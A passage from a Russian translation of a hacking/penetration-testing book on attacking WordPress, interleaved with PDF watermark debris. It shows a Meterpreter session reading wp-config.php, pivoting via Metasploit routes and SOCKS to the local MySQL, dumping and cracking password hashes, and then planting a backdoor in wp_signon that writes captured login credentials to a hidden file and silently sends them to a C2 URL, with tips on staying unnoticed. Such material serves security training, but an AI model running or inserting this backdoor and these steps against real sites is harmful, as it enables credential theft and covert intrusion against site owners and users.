Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
книги хакеры / Эдриан_Прутяну_Как_стать_хакером_сборник_практическиз_сценариев.pdf
Скачиваний:
18
Добавлен:
19.04.2024
Размер:
20.34 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

 

Server username: www-data (33)

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

Взлом кода с помощью бэкдора 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

339 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

meterpreter >

С помощью доступа к оболочке можно попытаться повысить привилегии, выполнить дальнейшее перемещение по сети или даже извлечь дополнительные учетные данные.

Утечка учетных данных

Рассмотрим еще один сценарий, где речь идет об эксплуатации уязвимости на веб-сайте с предоставлением доступа к командной строке сервера. Может быть, на самом сайте, работающем на WordPress, установлены исправления, а пароли пользователей сложны, но если сайт размещен в общей системе, злоумышленники нередко получают доступ к командной строке через посторонний компонент сайта. Возможно, нам удалось загрузить веб-оболочку или дажезаставитьвеб-серверсоздатьреверснуюоболочкунанашеймашинеспо- мощью внедрения команд. В предыдущем сценарии мы угадали пароль mary, но что, если мы хотим большего? Что, если владелец блога msmith имеет дос­ туп к другим системам?

Повторное использование пароля является проблемой, которая, вероятно, не исчезнет в ближайшее время, и имеет смысл получить пароль администратора сайта.Тотже парольможетработатьв случае сVPN или OWAилидажедля суперпользователя на самом сервере приложений.

Большинство современных веб-серверов, таких как Apache2, NGINX и IIS, запускают приложения с пользовательским контекстом с низким уровнем привилегий, поэтому PHP-оболочка будет иметь ограниченный доступ к базовому серверу. Хотя пользователь вряд ли может каким-то образом использовать сам сервер, он способен взаимодействовать с исходным кодом сайта, в том числе с экземпляром CMS. Можно искать способы повышения привилегийспомощьюлокальногоэксплойта,ноеслинамэтонеудастсяили не хватит времени, целесообразнее установить бэкдор в код сайта и собрать учетные данные.

В предыдущем сценарии мы получили доступ к командной строке через пользователя mary.

Оказавшись внутри, можем проверить файл wp-config.php на наличие потенциальных местдля инъекций.Мыможем видетьучетныеданныебазыданных, которые требуются WordPress для правильной работы. Это может быть нашей первой целью, поскольку все учетные данные WordPress хранятся там, хотя и хешируются.Если получим эти хешированные пароли,то взломаем их в автономном режиме.Файлы конфигурации являются общими для CMS,и если у нас есть доступ для чтения к серверу приложений, мы должны взять это в первую очередь.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 340  Глава 12.Атака на CMS

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

meterpreter > cat /var/www/html/wp-config.php

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

<?php

/**

*The base configuration for WordPress

*

[...]

*This file contains the following configurations:

*

** MySQL settings

** Secret keys

** Database table prefix

** ABSPATH

*

* @link https://codex.WordPress.org/Editing_wp-config.php

*

* @package WordPress */

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

// ** MySQL settings - You can get this info from your web host **

//

/** The name of the database for WordPress */ define('DB_NAME', 'WordPress');

/** MySQL database username */ define('DB_USER', 'WordPress');

/** MySQL database password */ define('DB_PASSWORD', 'ZXQgdHUgYnJ1dGU/');

/** MySQL hostname */ define('DB_HOST', '127.0.0.1:3306');

[...]

Мы могли бы получить эти незашифрованные учетные данные и подключиться к базе данных с помощью клиента MySQL. Затем можем приступить к сбросупользовательскойтаблицыилюбыххешейвнутринее.Входеработывы, вероятно, встретите более защищенные экземпляры MySQL, которые обычно не позволяют совершать вход с любого удаленного хоста. Экземпляр MySQL также может быть защищен брандмауэром или слушать только на 127.0.0.1, и нам, возможно, не удастся подключиться извне.

Чтобы обойти такие типы ограничений, нам нужно развернуть соединение через сеанс нашей реверсной оболочки, который мы установили ранее.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Взлом кода с помощью бэкдора 

w Click

to

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

 

 

msf payload(php/meterpreter/reverse_tcp) > sessions

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

341 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Active sessions

 

 

===============

 

 

Id

Name

Type

Information

Connection

--

----

----

-----------

----------

8

 

meterpreter php/

 

www-data @

 

 

linux

 

0f2dfe914f09

 

 

 

 

10.0.5.42:4444 ->

 

 

 

 

172.17.0.3:36194

 

 

 

 

(172.17.0.3)

Во-первых, нужно добавить маршрут в Metasploit, чтобы перенаправлять любые соединения через активный сеанс Meterpreter. В этом случае нужно подключиться к экземпляру MySQL, который слушает только на локальном хосте­ , на IP-адресе 127.0.0.1.

Команда Metasploit route add требует, чтобы мы указали диапазон сети и идентификатор сеанса Meterpreter. В нашем случае сосредоточимся только на адресе 127.0.0.1, поэтому /32 подходит. Нам также нужно отправлять все свои пакеты через сессию 8.

msf payload(php/meterpreter/reverse_tcp) > route add 127.0.0.1/32 8 [*] Route added

msf payload(php/meterpreter/reverse_tcp) > route print

IPv4 Active Routing Table

=========================

Subnet

Netmask

Gateway

------

-------

-------

127.0.0.1

255.255.255.255

Session 8

Чтобы использовать этотмаршрут,запустим прокси-сервер в Metasploit,который можем использовать вместе с ProxyChains для отправки пакетов через наш сеанс Meterpreter.

Модуль auxiliary/server/socks4a позволит создать сервер SOCKS4 на машине, используемой для атаки, и, используя ранее добавленный маршрут, любой трафик, предназначенный для 127.0.0.1, будет перенаправляться через наш сеанс.

Давайте загрузим модуль и установим опции SRVHOST и SRVPORT, как показано ниже.

msf payload(php/meterpreter/reverse_tcp) > use auxiliary/server/socks4a

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY 342  Глава 12.Атака на CMS

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

msf auxiliary(server/socks4a) > options

 

 

 

 

 

n

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Module options (auxiliary/server/socks4a):

Name

Current Setting

Required

Description

------------------- -------- -----------

SRVHOST

0.0.0.0

yes

The

address

to listen on

SRVPORT

1080

yes

The

port to

listen on.

msf auxiliary(server/socks4a) > run

[*]Auxiliary module running as background job 1.

[*]Starting the socks4a proxy server

МыдолжныувидетьнашсерверSOCKS,работающийвфоновомрежиме,выполнив команду Metasploit jobs.

msf auxiliary(server/socks4a) > jobs

Jobs

====

Id

Name

Payload

Payload opts

--

----

-------

------------

0

Exploit: multi/

php/meterpreter/

tcp://attack

 

handler

reverse_tcp

er.c2:4444

1Auxiliary: server/ socks4a

Затем необходимо изменить файл конфигурации ProxyChains /etc/ proxychains.conf, чтобы он указывал на наш созданный сервер SOCKS, как показано ниже.

root@kali:~# tail /etc/proxychains.conf [...]

#

#proxy types: http, socks4, socks5

#( auth types supported: "basic"-http "user/pass"-socks )

[ProxyList]

socks4

127.0.0.1 1080

Наконец, используем двоичный файл proxychains в нашем терминале Kali, чтобы обеспечить соединение MySQL-клиента с базой MySQL жертвы,используя учетные данные из файла wpconfig.php.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Взлом кода с помощью бэкдора 

w Click

to

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

 

 

e

 

 

 

 

 

 

 

root@kali:~# proxychains mysql -h127.0.0.1 -uWordPress -p

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

ProxyChains-3.1 (http://proxychains.sf.net) Enter password: ZXQgdHUgYnJ1dGU/

|S-chain|-<>-127.0.0.1:1080-<><>-127.0.0.1:3306-<><>-OK Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 28

Server version: 5.6.37 MySQL Community Server (GPL)

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

E

 

 

 

 

X

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

 

 

 

 

 

343 BUY

 

 

 

 

 

 

 

w Click

to

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

g

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

Этот пользователь базы данных WordPress, вероятно, также будет иметь ограниченныйдоступ к серверу,но нам этогодолжно бытьдостаточно.Мы видим базу данных WordPress и можем перечислить ее таблицы и данные.

MySQL [(none)]> show databases;

+--------------------

+

| Database

|

+--------------------

+

| information_schema |

| WordPress

|

| test

|

+--------------------

+

3 rows in set (0.00 sec)

MySQL [none]> show tables from WordPress;

+-----------------------------

+

| Tables_in_WordPress

|

+-----------------------------

+

| wp_commentmeta

|

| wp_comments

|

| wp_links

|

| wp_options

|

| wp_postmeta

|

| wp_posts

|

| wp_term_relationships

|

| wp_term_taxonomy

|

| wp_termmeta

|

| wp_terms

|

| wp_usermeta

|

| wp_users

|

+-----------------------------

+

12 rows in set (0.00 sec)

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 344  Глава 12.Атака на CMS

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

Нужно получить имена пользователей и хеши, хранящиеся в таблице wp

 

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

users, используя простой MySQL-запрос.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

MySQL [none]> select id, user_login, user_pass, user_email from

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

WordPress.wp_users where id=1;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

+----

 

 

 

 

 

+------------

+------------------------

+------------------

+

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

| id | user_login | user_pass

| user_email

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

+----

 

 

 

 

 

+------------

+------------------------

+------------------

+

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

|

 

 

 

 

1 | msmith

| $P$BX5YqWaua3jKQ1OBFgui| msmith@cookingwit|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

|

 

 

 

 

 

|

| UhBxsiGutK/

| hfire.local

|

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

+----

 

 

 

 

 

+------------

+------------------------

+------------------

+

 

 

 

 

 

 

 

 

 

 

 

1 row in set (0.01 sec)

Имея в руках хеш пароля msmith, можем запустить утилиту John the Ripper на нашей машине с Kali и попытаться взломать его. Можем сохранить хеш локально и запустить для него команду john.

root@kali:~# cat hashes msmith:$P$BX5YqWaua3jKQ1OBFquiUhBxsiGutK/ root@kali:~# john hashes -- wordlist=~/tools/SecLists/Passwords/darkc0de.txt

Using default input encoding: UTF-8

Loaded 1 password hash (phpass [phpass ($P$ or $H$) 128/128 AVX 4x3])

Press 'q' or Ctrl-C to abort, almost any other key for status

0g 0:00:00:01 0.72% (ETA: 10:24:24) 0g/s 4897p/s 4897c/s 4897C/s 11770..11/9/69

0g 0:00:00:02 1.10% (ETA: 10:25:08) 0g/s 4896p/s 4896c/s 4896C/s 123din7361247iv3..123ducib19

0g 0:00:00:04 1.79% (ETA: 10:25:49) 0g/s 4906p/s 4906c/s 4906C/s

16 HERRERA..16th

0g 0:00:00:20 6.59% (ETA: 10:27:09) 0g/s 4619p/s 4619c/s 4619C/s 4n0d3..4n0m47h3c4

В зависимости от схемы взлома и сложности пароля на это уйдет некоторое время. Возможно даже, что в ходе выполнения обычного задания вам вряд ли удастся это сделать и может понадобиться альтернатива.

Более разумный способ получить учетные данные в виде открытого текс­ та – это взломать код CMS с помощью бэкдора и перехватить учетные данные в виде открытого текста, когда жертва (или жертвы) выполняет вход в приложение.Эта атакатребует,чтобы пользователь,которого мы контролируем,мог изменять файлы WordPress на диске. В некоторых случаях пользователю веб-

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Взлом кода с помощью бэкдора  345 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

сервера будет запрещено выполнять запись на диск в качестве меры безопас­

 

 

e

 

 

 

 

df

 

 

n

e

 

 

 

 

df

 

 

n

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

ности, но администраторы часто плохо следят за этим элементом управления в течение жизненного цикла приложения. Эта атака также полезна, если у нас есть полный root-доступ к целевому серверу. Как говорилось ранее, сбор учетных данных в открытом виде имеет смысл,особенно если целью является дальнейшее перемещение по сети или доступ к конфиденциальным данным.

Функция в WordPress, которая обрабатывает аутентификацию, носит название wp_signon(), и в кодексе WordPress содержится ее подробное описание.

Рис.12.11. Справочная информация о функции wp_signon

Функция signon определена в основном файле WordPress wp-includes/

user.php.

Тут есть несколько строк кода, которые проверяют учетные данные, переданные в функцию из других модулей,таких как wp-login.php.

Нам нужно перехватить учетные данные в виде открытого текста и отправить их на наш командно-контрольный сервер либо сохранить их где-нибудь на веб-сайте для последующего извлечения. Возможно, придется сделать и то, и другое. Конечно, у обоих методов есть плюсы и минусы. Отправка данных по сети может быть воспринята системами обнаружения вторжений или выходными прокси-серверами как необычныйтрафик,но это даетгарантию,что мы получим учетные данные, как только они будут введены, при условии что передача, конечно, не заблокирована. Локальное хранение данных не приведет к сбою сетевых мониторов,но если администраторы сервера внимательно изучат файловую систему приложения, наличие дополнительных файлов на сервере их удивит.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

 

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 346  Глава 12.Атака на CMS

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

В функции wp_signon

учетные данные

 

 

p

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

передаются через переменную

 

 

 

e

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

 

df

 

 

n

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

$credentials либо при новом входе в систему через глобальную переменную $_POST. Можно кодировать это входящее значение в формат JSON, кодировать результаты вBase64 и записатьих надисклибо отправитьпо сети.Двойноекодирование предназначено в основном для легкости передачи по сети, а также для несложной маскировки данных, которые мы похищаем.

PHP предоставляетдве удобные функции, которые можно внедрить в функцию wp_signon для быстрой и простой утечки учетных данных WordPress.

Функция file_put_contents() позволяет писать данные на диск в любом месте, где у пользователя есть доступ для записи. В частности, что касается WordPress, поскольку она позволяет загружать данные, папка wp-content/ uploads обычно доступна для записи веб-сервером. Другие CMS будут иметь аналогичный доступ к иным каталогам, которые можно использовать.

file_put_contents([file to write to], [data to write], FILE_APPEND);

Функция file_get_contents() позволяет отправлять веб-запросы на наш командно-контрольный сервер, и мы можем передавать учетные данные через URL-адрес. Мы сможем увидеть данные в журналах сервера. Для сетевой эксфильтрации нужно добавить в функцию символ @,чтобы PHP подавлял лю- быеошибкивслучаепроблемссетью.Есликомандно-контрольныйсервервы- ходитизстрояилинедоступенподругимпричинам,намненужнопредупреж­ дать пользователей о потенциальной проблеме безопасности.

@file_get_contents([c2 URL]);

Следуетотметить,чтотакойтипутечкиданныхможетпривестикзаметным задержкам на сайте, и пользователи заподозрят неладное. Если скрытность имеет первостепенное значение, возможно, лучше хранить данные локально, извлекать их через интернет и удалять после завершения задания.

Длянаписаниянашегопохитителяучетныхданныхможноиспользоватьодну (или обе) строку приведенного ниже кода.

file_put_contents('wp-content/uploads/.index.php.swp', base64_encode(json_encode($_POST)) . PHP_EOL, FILE_APPEND);

@file_get_contents('http://pingback.c2.spider.ml/ping.php?id=' . base64_encode(json_encode($_POST)));

Напомним, что во время входа пользователя в систему наш бэкдор сделает следующее.

1.Получит учетные данные открытого текста, хранящиеся в глобальной переменной $_POST.

2.Зашифрует их в форматы JSON и Base64 для легкой передачи и маски-

ровки.

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

Взлом кода с помощью бэкдора  347 BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

3. Сохранит их на диске в файле wp-content/uploads/.index.php.swp.

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

4.

Отправит их на наш командно-контрольный сервер http://pingback.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

c2.spider.ml/ping.php.

 

 

 

 

 

 

 

 

 

 

 

 

Код бэкдора будет добавлен непосредственно перед возвратом функции

wp_signon.

Мы получаем гарантию, что собираем только актуальные учетные данные. Функция wp_signon будет возвращаться задолго до нашего кода, если предоставленные учетные данные станут неактуальными.

Нам нужно внедрить свой код в соответствующее место в файле wp-in-

cludes/user.php.

Учетные данные проверяются функцией wp_signon и считаются актуальными в конце функции,перед последним оператором return.Воткуда нужно поместить наш код.

<?php

/**

*Core User API

*@package WordPress

*@subpackage Users

*/

[...]

function wp_signon( $credentials = array(), $secure_cookie = '' )

{

[...]

if ( is_wp_error($user) ) {

if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) {

$user = new WP_Error('', '');

}

return $user;

}

file_put_contents('wp-content/uploads/.index.php.swp', base64_encode(json_encode($_POST)) . PHP_EOL, FILE_APPEND);

@file_get_contents('http://pingback.c2.spider.ml/ping.php?id=' . base64_encode(json_encode($_POST)));

wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie);

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

NOW!

o

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

w Click

to

BUY 348  Глава 12.Атака на CMS

w Click

to

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

m

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

/**

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

-x cha

 

 

 

 

 

*Fires after the user has successfully logged in.

*@since 1.5.0

*

* @param string $user_login Username.

* @param WP_User $user WP_User object of the logged-in user. */

do_action( 'wp_login', $user->user_login, $user ); return $user;

}

Как только пользователь (или два-три) успешно войдет в систему, увидим учетные данные в виде простого текста в файле wp-content/uploads/.index.

php.swp.

root@kali:~# curl http://cookingwithfire.local/ wp-content/uploads/.index.php.swp

eyJsb2ciOiJtc21pdGgiLCJwd2QiOiJpWVFOKWUjYTRzKnJMZTdaaFdoZlMmXnYiLCJ3c

C1zdWJtaXQiOiJMb2cgSW4iLCJyZWRpcmVjdF90byI6Imh0dHA6XC9cL2Nvb2tpbmd3aX

